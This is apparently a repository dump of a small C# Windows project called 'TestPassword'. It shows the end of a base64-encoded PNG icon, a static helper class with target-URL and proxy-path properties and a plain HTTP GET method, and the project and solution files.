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
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.1.1/TestPassword/StaticClass.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
#region 静态字符串
///
/// 线程状态
/// false 为 线程通畅
/// true 为 线程阻塞,就是线程要停止了
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 项目的路径
///
public static string file { get; set; }
///
/// 配置文件的路径
///
public static string config { get; set; }
///
/// 代理文件的路径
///
public static string proxy { get; set; }
#endregion 静态字符串
#region 静态方法
///
/// Get请求
///
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion 静态方法
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
TestPassword
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword V1.8.1.1/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal